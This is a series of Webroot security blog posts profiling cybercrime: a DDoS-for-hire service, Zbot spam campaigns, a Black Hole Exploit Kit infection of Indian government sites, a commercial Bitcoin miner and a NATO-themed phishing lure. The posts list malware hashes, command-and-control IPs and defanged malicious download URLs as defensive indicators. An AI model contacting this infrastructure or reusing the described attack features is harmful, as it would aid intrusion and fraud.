Largely thanks to the increasing availability of easy to use DIY (do-it-yourself) **DDoS** bots, we continue to observe an increase in international cybercrime-friendly market propositions for ‘DDoS for hire’ services. And whereas these services can never match the bandwidth capabilities and vendor experience offered by their Russian/Eastern European counterparts, they continue to empower novice Internet users with the ability to launch a DDoS attack against virtually anyone online.

In this post, I’ll profile a recently launched marijuana themed DDoS for hire service and emphasize on how, despite it’s built in pseudo-anti abuse process, the service is prone to be abused by novice cybercriminals looking for cost-effective ways to cause disruption online.

More details: **Sample screenshot of the actual advertisement:**

Potential customers can choose between a variety of different pricing schemes, each of them based on the total number of seconds for the eventual DDoS attack that they’d like to launch. The service also offers Skype IP resolver, Cloudflare resolver, Steam resolver and Host resolver, in an attempt to make it easier for its customers to launch the DDoS attack.

Sample graph of the service in action:

The overall availability of such services can be compared to the rise of commercial RATs (Remote Access Tools/Trojans), in particular their attempts to add layers of legitimacy to their international cybercrime market propositions.

Just like Remote Access Tools, which often come with built-in spreading and rootkit functions, these ‘DDoS for hire’ services have TOS (Terms of Service), which usually state that the offered bandwidth and variety of DDoS attack techniques are only provided in order to empower network administrators with the necessary tools to test the DDoS resilience of their networks. However, why a network administrator would want to resolve a Steam/Skype/Cloudflare user’s IPs to launch a DDoS attack remains unclear.

We expect to continue observing an increase in similar ‘DDoS for hire’ types of international underground market propositions, a clear indication of just how easy it has become to generate and operate a botnet online. Everyone can do it, and everyone is doing it.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. Y ou can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals resume spamvertising Citibank ‘Merchant Billing Statement’ themed emails, serve malware - Webroot Blog

facebook linkedin twitter

Over the past week, the cybercriminals behind the recently profiled ‘**Citibank Merchant Billing Statement** ‘ themed campaign, resumed operations, and launched yet another massive spam campaign impersonating Citibank, in an attempt to trick its customers into executing the malicious attachment found in the fake emails.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious executable – **MD5: 0bbf809dc46ed5d6c9f1774b13521e72** – detected by 16 out of 47 antivirus scanners as Trojan-Spy.Win32.Zbot.Ivpo.

Once executed, the sample starts listening on port 12674. It then drops the following MD5s on the affected hosts: *MD5: 6044cc337b5dbf82f8746251a13f0bb2 MD5: d20d915dbdcb0cca634810744b668c70 MD5: 758498d6b275e58e3c83494ad6080ac2*

Creates the following Registry Keys: *HKEY_CURRENT_USERSoftwareMicrosoftEvfyfarya*

Sets the following Registry Values: *[HKEY_CURRENT_USERIdentities] -> Identity Login = 0x00098053 [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run] -> Hiij = “”%AppData%Ytcuhiij.exe”” [HKEY_CURRENT_USERSoftwareMicrosoftEvfyfarya] -> 29690939 = “VehcOWjxJHg7yg==”; 25f59e7f = 69 E8 3D 39; 70e963j = “BN09OTauFngMyvWP”*

As well as the following Mutexes: *Global{CB561546-E774-D5EA-8F92-61FCBA8C42EE} Local{744F300D-C23F-6AF3-8F92-61FCBA8C42EE} Global{5D2DDFD7-2DE5-4391-0508-B06D3016937F} Global{5D2DDFD7-2DE5-4391-7109-*

B06D4417937F} Global{5D2DDFD7-2DE5-4391-490A-B06D7C14937F} Global{5D2DDFD7-2DE5-4391-610A-B06D5414937F} Global{5D2DDFD7-2DE5-4391-8D0A-B06DB814937F} Global{5D2DDFD7-2DE5-4391-990A-B06DAC14937F} Global{5D2DDFD7-2DE5-4391-350B-B06D0015937F} Global{5D2DDFD7-2DE5-4391-610B-B06D5415937F} Global{5D2DDFD7-2DE5-4391-B90B-B06D8C15937F} Global{5D2DDFD7-2DE5-4391-190C-B06D2C12937F} Global{5D2DDFD7-2DE5-4391-450C-B06D7012937F} Global{5D2DDFD7-2DE5-4391-650C-B06D5012937F} Global{5D2DDFD7-2DE5-4391-B50D-B06D8013937F} Global{5D2DDFD7-2DE5-4391-290E-B06D1C10937F} Global{5D2DDFD7-2DE5-4391-650E-B06D5010937F} Global{5D2DDFD7-2DE5-4391-E508-B06DD016937F} Global{5D2DDFD7-2DE5-4391-E90B-B06DDC15937F} Global{5D2DDFD7-2DE5-4391-E90C-B06DDC12937F} Global{5D2DDFD7-2DE5-4391-A50E-B06D9010937F} Global{5D2DDFD7-2DE5-4391-1D0E-B06D2810937F} Global{5D2DDFD7-2DE5-4391-490F-B06D7C11937F} Global{EEE5022F-F01D-F059-8F92-61FCBA8C42EE} Global{38E3341C-C62E-265F-8F92-61FCBA8C42EE} Global{340FE32E-111C-2AB3-8F92-61FCBA8C42EE} Global{340FE329-111B-2AB3-8F92-61FCBA8C42EE} Local{55E9553D-A70F-4B55-8F92-61FCBA8C42EE} Local{55E9553C-A70E-4B55-8F92-61FCBA8C42EE} Global{5E370004-F236-408B-8F92-61FCBA8C42EE} MidiMapper_modLongMessage_RefCnt MidiMapper_Configure MPSWabDataAccessMutex MPSWABOlkStoreNotifyMutex MSIdent Logon

It then phones back to the following C&C servers: *78.161.154.194:25633 186.29.77.250:18647 190.37.115.43:29609 187.131.8.1:13957 181.67.50.91:27916 8.161.154.194 186.29.77.250 190.37.115.43 187.131.8.1 181.67.50.91 84.59.222.81 211.209.241.213 108.215.44.142 122.163.41.96 99.231.187.238 89.122.155.200 79.31.232.136 142.136.161.103 63.85.81.254 98.201.143.22 110.164.140.144 195.169.125.228 190.83.222.173 96.29.242.234 178.251.75.50 199.21.164.167*

180.92.159.2 213.43.242.145 94.240.224.115 2.187.51.145 208.101.114.115 50.97.98.134 41.99.119.243 197.187.33.59 79.106.11.64 178.89.68.255 190.62.162.200 165.98.119.94 94.94.211.18

We’re also aware of the following malicious MD5s that have phoned back to the same IPs during the past 24 hours: *MD5: 6c8f072883f0e3c3f8fa261bf24a0ec9 MD5: 8ad3541e65ed51048b45e65d940e6ad3 MD5: 1c638cf28e81bcbb0ca4bb99edb4f74c MD5: 421525b68a36ed8b625eb10d2ed53f7f MD5: 1af1eaafa527021e57bbb88dd933a735 MD5: 7d7200158b4a729b6cfbcab7ec45eb01 MD5: ba6770e4829ffa67a3aad02ede1ba8d4 MD5: 91637932d31d81831c5c5e64ca49006b MD5: 3f66cbad92d657a153e71450169700c1 MD5: e565d69db2b89537bdc4e62143cdd514 MD5: abe82de6954f95844bdf490d60e59a68 MD5: 07776aa4ddc7a34f784a494212094df2 MD5: e0f021d263f09fde99fc38c0fd175596 MD5: 7a4c6833ebcdbcac2f30b665fe25d3fb MD5: 812e20c6426da8719cde03149b1d5362 MD5: ea9ee50983add39ab074266833bac6a6 MD5: 0fcb22dbe998ec450c9d121f652bb140 MD5: 73feaf39239924526cf32b0e0019e96b MD5: 8877031ba7c3ab29826416e37b638352 MD5: 341bb3e70dc494320f905ec1b0e915d8 MD5: 1b43a9ca4c5372aeeebc27d49c21fa42 MD5: 597a06a161ca6d4c28a13a0f9a71ed8e MD5: 3cf217b4f1a1e12c7e9563f721673539 MD5: d2f94d18d1791001ef9629ebd61b0fe1 MD5: 6bb731725e8d4d003b5ee591a19e9b9e MD5: 83665c792d859b4169f526075dafc558 MD5: 875901d90d3a0dba34a7393c90c30f18 MD5: 9de4c103dd1db1bbd8e8909082f87572 MD5: 65066de0a3ab632ef2ffbf3f4073d13e MD5: 095a4c7d9da23b3fc22397f0af786426 MD5: d33bb85eedd51e26ca8c9307a03efaa6 MD5:*

9f603e2f4be70ced836bcbaf466b71b4	*MD5:*
9fe16118aa907995547909e8534da3c6	*MD5:*
37b284ec76f95a5aedfebde17b449a81	*MD5:*
0ba620595833a41bbaec1bd5fcefc490	*MD5:*
aa1a866bf6b20c24dca45d7d3a9f19e1	*MD5:*
92fbde3b15b80d8f867d9d4475984aa3	*MD5:*
a873b55196ed1c961427bed9cf444125	*MD5:*
1d22200cd9761e72943936b79262113d	*MD5:*
c2b3cf2a8141945c08bb4fc15bbdd03c	*MD5:*
bb27f129ca4cc3fd1d516693307d6672	*MD5:*
958d2dc57222cd30b273c3c70b76f70b	*MD5:*
8727f70ce3eb0464c1214679e73a1cf8	*MD5:*
e1504be723fd2b10bf92d28d0d7fdd64	*MD5:*
0c6affccc2274b29342c9e65fe74a5d5	*MD5:*
bd986371abd214998c8b337f1ca5cf4a	*MD5:*
fc77f429308076cf392433f3c57be180	*MD5:*
23a671ffad912a1e8871ba530a10b58d	*MD5:*
82329fbeb221c18dc44b04c7a8784c64	*MD5:*
54dcefc141af0de7612f2115ce28daee	*MD5:*
16502ca7ddfdd84dff5cbccdb7b45954	*MD5:*
b88acd28fde42d648c36bbf48f7c3e24	*MD5:*
49b387c62d25124eef121c982220da12	*MD5:*
99dd803d52c32b650c0fdeb9bd42c15e	*MD5:*
11f97f038d32dad3a7287d6b6f3ece41	*MD5:*
aa6b6f4ab1f3d3c0f4585767600eaaa7	*MD5:*
42b7209cdfc7ff5211acd2ed573b1e3c	*MD5:*
43fe7962f6609261c0fd340991923971	*MD5:*
62d7a8aa94cbccf25fb79675bf28cffe	*MD5:*
df2ddb974ebc39843bf6f8b7e289c61b	*MD5:*
affb6a5cbae325f5e8479eca751636ad	*MD5:*
955f60c49aeaf2676a8f02aed4506a8e	*MD5:*
512c7e96009ee16c221183218c29aa87	*MD5:*
03223110f778da979b7c4cd943d0df4b	*MD5:*
6f550a64bbbce49c2fb1eca39d1e278d	*MD5:*
2b98b338e5d52eee9f31a084a78062e0	*MD5:*
ff791b1264feb8570e1ece8413c56aad	*MD5:*
eb7ed2e9f29f6d36a8ee74f6b80e0cc4	*MD5:*

*c44612d97b271a3a520a81385042ab32 MD5:
f596994858c3930a5d3b3b69e69205d6 MD5:
5cf3af041bbcf743cb7e7b8fd62800f3 MD5:
0a246f226b94315f340b88445ae2888e MD5:
692a9f8bfd43a7861a5498f00480cb3f MD5:
bafd9764e04014f2b291f235e2450801 MD5:
a95735cdf7b33af081dda2863846a328 MD5:
a6c95c0812f7a27cce565036b1d9fb1f MD5:
dc1f018dd42ea8db092741254cb78040 MD5:
934eaeea66a26b97d91d7728dc41249a MD5:
30b1c21bcc29d8697912403fa19f7691 MD5:
23c0a9ffcaa199f593d54bea0c72d440 MD5:
599221781c68f49777a039ee7d5106c7 MD5:
1766268cf787b80e487d3da0de7d42d9 MD5:
3e8aa532b9d060bd127724775ee6da37 MD5:
630ae63b8a3a331cd08fd46606cfb20a MD5:
564d7ad55dbc3b7d276729625683cbfd MD5:
e397b34d21f8b3c0540c376c7f85a4a5 MD5:
97d7c4f53e5498a3dbacecf682e9a3ec MD5:
c79160293a591a5e4b8a922d5974a8b1 MD5:
791dc0ca3fee7b6dc84b57bc5a5f1485 MD5:
d57b886c8853b7199ae738c79aed2f65 MD5:
9263460a8384564ff8e7e3024aaaa906 MD5:
89c7c7adcac550aa99ccbaf9e6d74c43 MD5:
8c13f48585ee220c4c35f74bab47899f MD5:
ce4cebf34dde67b70574bdf438620350*

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Compromised Indian government Web site leads to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Our sensors recently picked up a Web site infection, affecting the Web site of the Ministry of Micro And Medium Enterprises (MSME DI Jaipur). And although the **Black Hole Exploit Kit** serving URL is currently not accepting any connections, it's known to have been used in previous client-side exploit serving campaigns.

Let's profile the campaign, list the malicious URLs, associate them with previously launched malicious campaigns, and provide actual MD5s for historical OSINT preservation/attribution purposes.

More details:

Sample screenshot of the affected Web site:

Sample screenshot of the malicious script detected on the Indian government Web site:

Sample compromised URLs:
hxxp://sisijaipur.gov.in/cluster_developement.html
hxxp://msmedijaipur.gov.in/cluster_developement.html

Detection rate for the malicious script: **MD5: 44a8c0b8d281f17b7218a0fe09840ce9** – detected by 24 out of 47 antivirus scanners as Trojan:JS/BlacoleRef.W; Trojan-Downloader.JS.Iframe.czf.

Malicious domain names/redirectors reconnaissance: *888-move-stuff.com* – 50.63.202.21 – Email: van2move@yahoo.com
888movestuff.com – 208.109.181.190 – Email: van2move@yahoo.com
jobbelts.com (redirector/C&C) – 98.124.198.1 – Email: aanelli@yahoo.com

More malicious domains are known to have been responding to the same IP in the past (98.124.198.1): *adventure-holiday-specials.com appraisingla.com arc-res.com a-to-z-of-barbados.com bookmarkingdemonx.com ceointerns.com charityairsupport.org csepros.com dominateseowithwordpress.com enum365.com jobbelts.com karenbrowntx.com rankbuilder2.net seopressors.org stopchasingmoney.com thefamily4life.org ventergy.com*

The following MD5s are also known to have phoned back to the same (redirector/C&C) IP (98.124.198.1) in the past: *MD5: f2d01514d0d2794ed78876d01e0e04db MD5: 799134d350b8842af52fe5d60de2912b MD5: 8b9f907c1e4e2554f53e31847873fd39 MD5: f7217bb8839e81e912aa0f90da009381 MD5: fc25c21aeb34b8044a50b705a7f3196c MD5: 4d7b516d5e9fcded471d3d90b8d81ee8 MD5: d185e2e05a9fdea22273c34509f705cc MD5: 93d796d5a99c36a3e85d308198c1633e MD5: 25d77181324ccabe860a43178cbdabc9 MD5: f3c1a408991d1677bf18b53ef8dc9694 MD5: e5e893be23ac2e08fc2e7ac66f019b10 MD5: 092382c436b32eba275c07777c40a9a0 MD5: ca64138f14218b983bf26454855578f6 MD5: 88ddb2d8b49bd83ecafe224f94f34fd6 MD5: 858e08cf6941e51a095dcf353efc631c MD5: 48ea9ba54a567ec83980ed33f0a6f443 MD5: af4ebdb68cfff1a740128d9267722842 MD5: d4d2d0d4786862441437bad647cbbe33 MD5: 5ac3fbf4117f20e6fe044e775fdf093d MD5: 5ac4ae6eaa0e0c2902493161bbcc19b2 MD5: 42c6545a6d47ebe2e82d5de82acfd1e9 MD5: 221c235bc70586ce4f4def9a147b8735 MD5: 52bad082f4832c5ae5a55a1bcbcd9e85 MD5: 2ceeadcad588907a6e15432919bc4034 MD5: 4b3297a1160535a2c0daf12b18c98b24 MD5: 8a2ae3d73915066ab17602d3030d5210 MD5: 6721e76f1e3d2115bdc9f80b19ea2559 MD5: d610ee9403d278fd5e1f73b4f84c09ef MD5:*

3ab818111067dfa92f0127ffdcc35023	MD5:
76134ec61934a3e6a902321ea3cf1f4e	MD5:
6392e74b4089434e37a8057abd1c3412	MD5:
1b0939a3c6949889beb8cb76b166cbbf	MD5:
b34fbe260547ec3b0b8fb459fcf30771	MD5:
cd0f1f5f7bebbfc789dac4d5557ff863	MD5:
d45390bac7ee591fef142dcd5c52b904	MD5:
ffd80b49d09f9c5eaa73cf8f4fa7c32b	MD5:
35880e82794d19468089e80d906ec39a	MD5:
91de2d4993680d0daa3e511b1641a175	MD5:
4655088575b11b204a06acd39f7b5630	MD5:
e9e8c72208fcaabcec7562b6e1676af6	MD5:
490c91d8c16c8d6c73734ce11c444593	MD5:
ff0a9c71518e2278cb8dad27881465b3	MD5:
a0a9617cdd0bf84dd5d07add2deabf40	MD5:
4e6d21171b58826dfb0bd3476482c5ac	MD5:
e5c0574f3c9e48fe85f544bf9c39937a	MD5:
fb25f19c93fe035391f195a52ae07971	MD5:
77bb37ad859d4c433bbb217e5d6a41f7	MD5:
47810e1cbd0ca2bbeed4c02edeaa9b4c	MD5:
fd90feeed1cf8e7c0d65a544cb4a3e35	MD5:
f545e564afb8716a7666e094b14b0468	MD5:
e751dd91e840c107edf70f29ef691b0a	MD5:
6f78620dbb70ffac24b9527f10e77902	MD5:
17c9528ea10a6ccc8057cb2cd2dbbe29	MD5:
59bae82ba7a09511b99e3675bc03a3f7	MD5:
e4a01de23165ea57cf48746eadba3673	MD5:
a3922f61be14c531afb12bfc11a0b44b	MD5:
b046b9bed7785956fa3e1558e0afd471	MD5:
0140f83cff8d68440b08c1b32315c3a8	MD5:
7d9f5b6361b0699a291d34bd2bbd1ef1	MD5:
2035b5fb2e7ebbabc6d3d45c02a5deba	MD5:
0a7dd5ff56918b12d75f3d8eabf564d6	MD5:
aef3b6defe975d62a8dd35a9cee86903	MD5:
ce2caa00f0a84dbeef6d14ba21f266b7	MD5:
0e6024ad1bf070e50358a69db2591638	MD5:
6fc253744ee4c906ea918f86fc1f48e3	MD5:

1b38047c2ea9116cb0c1e6d2abce87ea MD5:
3072ca7490c113770a71b9061618e72c MD5:
6cbf399be3d49c7b8cc978f7438872fe MD5:
3e457718647cf0c710828c95ea28a25c MD5:
57c4e7d1710cba165c3e60f3fdea599e MD5:
feabf100e09c7c7b66f7c372dad9cb8a MD5:
f2cac6034a9083b40664e9214667c753 MD5:
3b16066f9253cc108b0471e8b09503a7 MD5:
34ced03f0c3526c40a7672c05a51dd7b MD5:
be6eff934e37d870fabe2a0e032b35a0 MD5:
76a3a098aeac3cd23c4658bd99b05b22 MD5:
4fee26033634100542d341140211ae62 MD5:
a5e501121d9c77b1c5e3e8a3fdb90059 MD5:
4bf55b2dfc381304e4a5072e5b6a40b6 MD5:
d8d3d43384ef8176c7b9be23c805fde9 MD5:
3a76404ad87c2650b1a5637fea02d50e MD5:
3874e390bd8722988b4e531fc08f8e75 MD5:
86691068885799a18b5cf0b7f363f9f80 MD5:
3aafd629a67984b68fde3ee1933e905b MD5:
d27d37c01df70f2f045503ebfc6414a0 MD5:
a4bb145882cda7dd6239394ece66f484 MD5:
36d9c2510d0181c52012c0f74f3a83be MD5:
e90fd0e9a481611c9f2c5441d724c77f MD5:
1b1da73836cb7a92dc859e3c8a9dc9a9 MD5:
412d768b9a8825b59e0e156e12d97178 MD5:
d038be577445db7a903c7ab5c6b30940 MD5:
2b91cfd5c51d0fa3ef87a15fa1b9df82 MD5:
3156619047726ed0aa1847382f533c61

The Black Hole Exploit Kit redirecting URL that's currently embedded at the Indian government Web site is currently not accepting any connections. However, we know that on 2012-07-03 08:04:36, it was responding, and was indeed served malicious content.

Sample redirection chain: *hxxp://wwww.888-move-stuff.com/main.php?page=3081100e9fdaf127 -> hxxp://wwww.888movestuff.com/data/ap2.php -> hxxp://wwww.888movestuff.com/w.php?f=97d19&e=1*

Upon successful client-side exploitation back then, it dropped **MD5: 770cc2e2a184eaad0d79716f0baf9e48** – detected by 40 out of 46 antivirus scanners as Trojan-Ransom.Win32.Birele.vjr; PWS:Win32/Fareit.gen!C.

Once executed, the sample created the following Registry Key on the affected hosts: *HKEY_CURRENT_USERSoftwareWinRAR*

As well as the following Registry Value: *[HKEY_CURRENT_USERSoftwareWinRAR] -> HWID = 7B 42 37 36 33 44 31 31 31 2D 41 45 45 37 2D 34 30 46 36 2D 41 38 41 31 2D 35 36 33 44 46 41 32 37 41 32 34 37 7D*

It then downloaded additional malware from: *hxxp://euxtoncorinthiansfc.co.uk/pd.exe*
hxxp://euxtoncorinthiansfc.co.uk/1689.exe

MD5: 34AC3D1AB72E67DF7D60B3BD11604B02 MD5: 76B2A3832CE39F81887FC3375AF60FC5

With the samples back then, phoning back to **vnclimitedrun.in:443 (199.59.166.86).** In 2012, the same IP was also seen in **a malvertising campaign** **.**

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake 'Export License/Payment Invoice' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

We have just intercepted yet another currently ongoing malicious spam campaign, enticing users into executing a fake Export License/Payment Invoice. Once gullible and socially engineering users do so, their PCs automatically join the botnet operated by the cybercriminals.

More details:

Detection rate for the malicious executable: **MD5: 4e7dc191117a6f30dd429cc619041552** – detected by 33 out of 47 antivirus scanners as Trojan.Win32.Inject.foiq; Trojan.Zbot.

Once executed, the sample starts listening on port 28723.

It then creates the following files on the affected hosts: *%AppData%Wyifdylo.exe*

The following Registry Keys: *HKEY_CURRENT_USERSoftwareMicrosoftUfoda*

The following Registry Values: *[HKEY_CURRENT_USERIdentities] -> Identity Login = 0x00098053 [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun] -> {3DFA1AE4-115C-AD7B-A6BA-A75086AF8442} = “”%AppData%Wyifdylo.exe”” [HKEY_CURRENT_USERSoftwareMicrosoftUfoda] -> 298j5icj = 19 F6 D3 3E 87 FA CB 0A F4 B2; 25cdfb7h = 25 F6 B2 3E; 6hj5ac9 = CB C5 B2 3E D7 A1 F9 0A C4 B2 7D 39*

The following Mutexes: *Global{CB561546-E774-D5EA-8F92-61FCBA8C42EE} Local{744F300D-C23F-6AF3-8F92-61FCBA8C42EE} Global{FD2CEE5F-1C6D-E390-0508-B06D3016937F} Global{FD2CEE5F-1C6D-E390-7109-*

B06D4417937F} Global{FD2CEE5F-1C6D-E390-490A-B06D7C14937F} Global{FD2CEE5F-1C6D-E390-610A-B06D5414937F} Global{FD2CEE5F-1C6D-E390-8D0A-B06DB814937F} Global{FD2CEE5F-1C6D-E390-990A-B06DAC14937F} Global{FD2CEE5F-1C6D-E390-350B-B06D0015937F} Global{FD2CEE5F-1C6D-E390-610B-B06D5415937F} Global{FD2CEE5F-1C6D-E390-B90B-B06D8C15937F} Global{FD2CEE5F-1C6D-E390-190C-B06D2C12937F} Global{FD2CEE5F-1C6D-E390-4D0C-B06D7812937F} Global{FD2CEE5F-1C6D-E390-650C-B06D5012937F} Global{FD2CEE5F-1C6D-E390-B50D-B06D8013937F} Global{FD2CEE5F-1C6D-E390-310E-B06D0410937F} Global{FD2CEE5F-1C6D-E390-610E-B06D5410937F} Global{FD2CEE5F-1C6D-E390-E90F-B06DDC11937F} Global{FD2CEE5F-1C6D-E390-ED0B-B06DD815937F} Global{FD2CEE5F-1C6D-E390-ED0C-B06DD812937F} Global{FD2CEE5F-1C6D-E390-B10E-B06D8410937F} Global{FD2CEE5F-1C6D-E390-6D0F-B06D5811937F} Global{5E370004-F236-408B-8F92-61FCBA8C42EE} Local{55E9553C-A70E-4B55-8F92-61FCBA8C42EE} Local{55E9553D-A70F-4B55-8F92-61FCBA8C42EE} Global{FD2CEE5F-1C6D-E390-D10F-B06DE411937F} Global{EEE5022F-F01D-F059-8F92-61FCBA8C42EE} Global{38E3341C-C62E-265F-8F92-61FCBA8C42EE} Global{340FE32E-111C-2AB3-8F92-61FCBA8C42EE} Global{340FE329-111B-2AB3-8F92-61FCBA8C42EE} MidiMapper_modLongMessage_RefCnt MidiMapper_Configure MPSWabDataAccessMutex MPSWABOlkStoreNotifyMutex MSIdent Logon

It then phones back to the following C&C servers: *213.230.101.174:11137 87.203.65.0:12721 180.241.97.79:16114 83.7.104.50:13647 84.59.222.81:10378 194.94.127.98:25549 98.201.143.22:19595 78.139.187.6:14384 180.183.178.134:20898*

We’ve also seen the following C&C server IP (**194.94.127.98**) in previously profiled malicious campaigns:

Fake 'FedEx Online Billing – Invoice Prepared to be Paid' themed emails lead to Black Hole Exploit Kit Cybercriminals impersonate Bank of America (BofA), serve malware Citibank 'Merchant Billing Statement' themed emails lead to malware

As well as **78.139.187.6** , in the following previously profiled malicious campaign:

FedWire 'Your Wire Transfer' themed emails lead to malware

We're aware of more MD5s that phoned back to the same IPs over the last couple of days. For instance: *MD5: f55412ecb47cd64528dc1942d46331bf MD5: 9d96157b5ae4e0546b7f510bcc1ac174 MD5: 9ea0a3efe62e175046048ca812c87158 MD5: 2b1657cee8dfec489b7fd00113b9bb4c MD5: 28b8ad5e84f8541c716abbdb8f575c7d MD5: 03ce491d25b68597d06cdcfe316431c6 MD5: 70768ea3273f360781f2e1d5f00eb715 MD5: ccabfea47b6d2bddf8a2090a641e5b75 MD5: 94ca03ab7c414ed347be34618804dc25 MD5: 3eaecc4bac464708d64c621b62b707e2 MD5: 3fbcd1bd6452877d883245d09b7768ea MD5: 9f027af381bf757ba9d506e82a770bff MD5: 8f7bfa8f1b7652d0f4f1fab93a7c63b0 MD5: a6815e3d2e53117c738f7a5370daafcc MD5: cc2eaf9df2608e07aa2ba39fa1c2912e MD5: fb1e76fbc43753912a4937f32d5f9c58 MD5: 4e7dc191117a6f30dd429cc619041552 MD5: d1c4179ea3b9af795e5169c244ff8c31 MD5: 694a6783866f5d43b85e93e70caaa37c MD5: 73f85a49c2a7f1b71a087018307146c1 MD5: 8f9599e3989cc19e19fa4971b1386520 MD5: c012f6646b801a916c0b1a5235688a7a MD5: 379ee5b9d022b13d3c919d11999b7dff MD5: e2c18303bfca70692f85181d4a86a954 MD5: 289049f65a85cbe02d3ed6fa7e0008f6 MD5: ee3f8e7d94b801d635cbc2575ff3b3dc MD5:*

42b4d077ff3e7a9077b14f762cd2063f MD5: a9e2f26d5e4456710f608b1f37ad2c0d MD5: 7d7307d32e8711a2c6a261e5870a77bc MD5: a36c2fd0a1e9d572ba030b6cc9b949b6 MD5: 27e9f62fed24ad0b93f3576f480e2644 MD5: 474d8729340789ba1722d9b82e646d8c MD5: 1d369383ea55d81b4bcd3169bebb2772 MD5: 2fdeaa5ae2559f62a65d928d175da2c9 MD5: 496fb7da08a09c2f1d7b460bb7a24c01 MD5: 90114fd9fef19d0fc2c84bb1ee5d9bb9 MD5: 7e98cd68a4622c54f7fcb575c75cf79b MD5: 1429ce41f54265d426c067a86e47f35a MD5: 7c6c7c207a968bbf34f47213d91e618d MD5: dee3f33ca9ece80871b6ab0591051c24 MD5: 91be7a17cb07c50afdf551a3e76d35c6 MD5: b6ed1bd88f36d80bf68d338620ed25c3 MD5: ef501d09c80be9aff5158c52b5986239 MD5: 5eac6806950b4fa497cfd0aab5e8ea43 MD5: e3e41e242998097b2f448990a951b467 MD5: 003167511de5d42626c665fadc7d9e32

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

New commercially available DIY invisible Bitcoin miner spotted in the wild - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Just as we anticipated in our previous **analysis of a commercially available Bitcoin miner** , cybercriminals continue “innovating” on this front by releasing more advanced and customizable invisible Bitcoin miners for fellow cybercriminals to take advantage of.

In this post, we’ll profile yet another invisible Bitcoin miner, once again available for purchase on the international cybercrime-friendly marketplace, emphasize on its key differentiation features, as well as provide MD5s of known miner variants.

More details:

Sample screenshot of the advertisement for the invisible Bitcoin miner:

Second screenshot of the advertisement for the invisible Bitcoin miner:

Sample screenshot of the DIY builder:

Some of the features include auto-starting capabilities, polymorphism, utilization of 15 pre-defined Bitcoin pools, the ability to kill competing Bitcoin miners, complete pseudo-randomization of multiple variables, **as well as** support for **Socks proxy servers** , allowing the cybercriminals behind it to add additional layers of anonymity to their campaigns.

The price for the builder, allowing a potential customer to generate unlimited number of builds, is $19.99, with the seller accepting Liberty Reserve, PayPal, and ironically, Bitcoin.

Sample screenshots provided by happy customers of the Bitcoin miner, proving that it works:

MD5s for known samples of this invisible Bitcoin miner: *MD5: b1d53fd86e56b3d6601edfed996f45f8 MD5: 3475dabb9c79a0059e2468332a1d0382 MD5: 432a139b85a1c68b54a8d89fdb79d79c MD5: a9aa5523e9d2a0be7059891804e13667*

Due to its commercial availability on the international cybercrime-friendly marketplace, we expect that this invisible Bitcoin miner will continue gaining marker share which in combination with its distinct set of features, in particular the Bitcoin miner killing feature, will inevitably result in systematic abuse on behalf of its customers.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

CVs and sensitive info soliciting email campaign impersonates NATO - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Want to join the North Atlantic Treaty Organization (**NATO**)? You may want to skip the CVs/personally identifiable information soliciting campaign that I’m about to profile in this post, as you’d be involuntarily sharing your information with what looks like an intelligence gathering operation.

More details:

Sample screenshot of the fake NATO Employment Application Form:

A copy of the fake NATO Employment Application Form A copy of the fake NATO Interview Form

Sample fake email: *From: North Atlantic Treaty Organization <natojobs@natous.org> Subject: NATO Vacancies=*

About NATO: NATO is committed to the peaceful resolution of disputes. If diplomatic efforts fail, it has the military capacity needed to undertake crisis management operations. These are carried out under Article 5 of the Washington Treaty and/or under a UN mandate, alone or in cooperation with other countries and international organizations. NATO promotes democratic values and encourages consultation and cooperation on defence and security issues to build trust and,in the long run, prevent conflict.

NATO provides a unique opportunity for member and partner countries to consult and take decisions on security issues at all levels and in a variety of fields to promote stability and guarantee allied defence. We want to be sure that we can walk around freely in a safe and secure environment. Security in all areas of everyday life is key to our well-being, but it cannot be taken for granted.

Administrative Assistant Location: Brussels/Belgium/Canada/Spain/UK/USA Post Number:CH-09 Salary:$243 ,000.00 USD Grade: B-5 Officer Location: Brussels/Belgium/UK/USA Post Number:A04(2013) Salary:$243 ,000.00 USD Grade: A4

System Manager Location: Brussels/Belgium/UK/USA Post Number:A11(2013)(MON) Salary:$243 ,000.00 USD Grade: A3

Software Support Engineer Location: Brussels/Belgium/UK/USA Post Number:A13(2013)(MON) Salary:$243 ,000.00 USD Grade: A2

Political Advisor Location: Brussels/Belgium/UK/USA PE Post Number:ZAC GSI0010 Salary:$253 ,000.00 USD Grade: A-5

